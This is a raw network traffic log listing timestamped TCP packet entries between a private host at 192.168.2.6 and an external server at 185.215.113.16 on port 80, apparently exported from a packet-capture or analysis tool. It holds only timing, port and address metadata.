Jul 26, 2024 10:36:22.067941904 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.067951918 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.067969084 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.067980051 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.067991018 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.067991018 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.068003893 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.068011999 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.068016052 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.068041086 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.068068027 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.068871975 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.068885088 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.068896055 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.068918943 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.068929911 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.068929911 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.068943024 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.068950891 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.068953991 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.068965912 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.068984985 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.069009066 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.069879055 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.069891930 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.069902897 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.069938898 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.069968939 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.114522934 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.114598989 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.115325928 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.115339994 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.115379095 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.115390062 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.115401030 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.115434885 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.115937948 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.116010904 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.116064072 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.116414070 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.116457939 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.116519928 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.117100954 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.117543936 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.117593050 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.117738008 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.117750883 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.117789984 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.117820978 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.117860079 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.117906094 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.118277073 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.118288994 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.118300915 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.118319988 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.118324995 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.118359089 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.118405104 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.118582964 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.118666887 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.118680000 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.118690968 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.118693113 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.118702888 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.118715048 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.118720055 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.118720055 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.118740082 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.118776083 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.120215893 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.120227098 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.120238066 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.120248079 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.120260000 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.120269060 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.120273113 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.120289087 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.120328903 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.120474100 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.120493889 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.120502949 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.120513916 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.120523930 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.120536089 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.120547056 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.120548010 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.120548010 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.120583057 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.120583057 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.124387980 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.124399900 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.124406099 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.124416113 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.124427080 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.124438047 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.124440908 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.124455929 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.124463081 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.124469042 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.124479055 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.124500036 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.124511003 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.124512911 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.124512911 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.124522924 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.124531984 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.124547005 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.124547958 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.124557972 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.124568939 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.124574900 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.124579906 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.124591112 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.124596119 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.124604940 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.124614954 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.124619961 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.124625921 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.124635935 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.124636889 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.124649048 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.124661922 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.124664068 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.124672890 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.124682903 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.124686956 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.124695063 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.124702930 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.124705076 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.124728918 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.124753952 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.158102036 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.158138990 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.158150911 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.158207893 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.158292055 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.158333063 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.158379078 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.158467054 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.158514023 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.158529043 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.158540964 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.158554077 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.158579111 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.158579111 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.158612013 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.159171104 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.159183025 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.159193993 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.159204006 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.159214020 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.159219980 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.159225941 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.159241915 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.159269094 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.160155058 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.160166025 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.160177946 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.160188913 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.160200119 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.160211086 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.160217047 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.160222054 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.160248041 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.160248995 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.160281897 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.161050081 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.161062956 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.161075115 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.161084890 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.161096096 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.161101103 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.161111116 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.161123037 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.161153078 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.161153078 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.180368900 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.180382967 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.180393934 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.180406094 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.180417061 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.180428028 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.180438042 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.180438995 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.180449009 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.180461884 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.180500031 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.182806015 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.182818890 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.182830095 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.182842016 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.182852983 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.182867050 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.182876110 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.182878971 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.182888031 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.182907104 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.182908058 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.182957888 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.183243990 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.183254957 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.183269978 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.183279991 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.183290958 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.183303118 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.183327913 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.183357000 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.208007097 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.208091974 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.208101988 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.208105087 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.208157063 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.208498001 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.208508968 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.208522081 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.208534002 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.208545923 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.208578110 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.211081028 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.211133003 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.211195946 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.211206913 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.211245060 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.214169979 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.214180946 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.214195967 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.214211941 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.214222908 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.214236021 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.214273930 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.214301109 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.214313030 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.214323044 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.214334965 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.214345932 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.214346886 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.214385033 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.214385033 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.217843056 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.217861891 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.217874050 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.217884064 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.217910051 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.217927933 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.219588041 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.219635963 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.219707012 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.219718933 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.219763041 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.219934940 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.219948053 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.219959974 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.219971895 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.219980955 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.219994068 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.220135927 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.220458031 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.220469952 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.220489025 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.220499992 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.220509052 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.220510006 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.220520973 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.220531940 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.220541000 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.220568895 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.221385002 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.221404076 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.221415043 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.221426964 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.221437931 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.221448898 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.221460104 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.221462011 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.221472025 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.221479893 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.221493006 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.221509933 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.222316027 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.222331047 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.222341061 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.222352982 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.222363949 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.222373009 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.222374916 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.222385883 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.222390890 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.222398043 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.222408056 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.222445011 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.223261118 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.223273039 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.223283052 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.223293066 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.223304033 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.223304987 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.223315954 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.223325968 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.223330975 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.223336935 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.223355055 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.223376036 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.224052906 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.224098921 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.250575066 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.250631094 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.250917912 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.250930071 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.250941038 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.250962019 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.250993013 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.251135111 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.251182079 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.251532078 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.251579046 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.251624107 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.251636028 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.251678944 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.251910925 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.251923084 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.251964092 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.251993895 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.252149105 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.252207994 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.252219915 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.252233982 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.252249956 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.252284050 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.252922058 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.252933025 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.252943993 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.252955914 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.252966881 CEST	80	49713	185.215.113.16	192.168.2.6
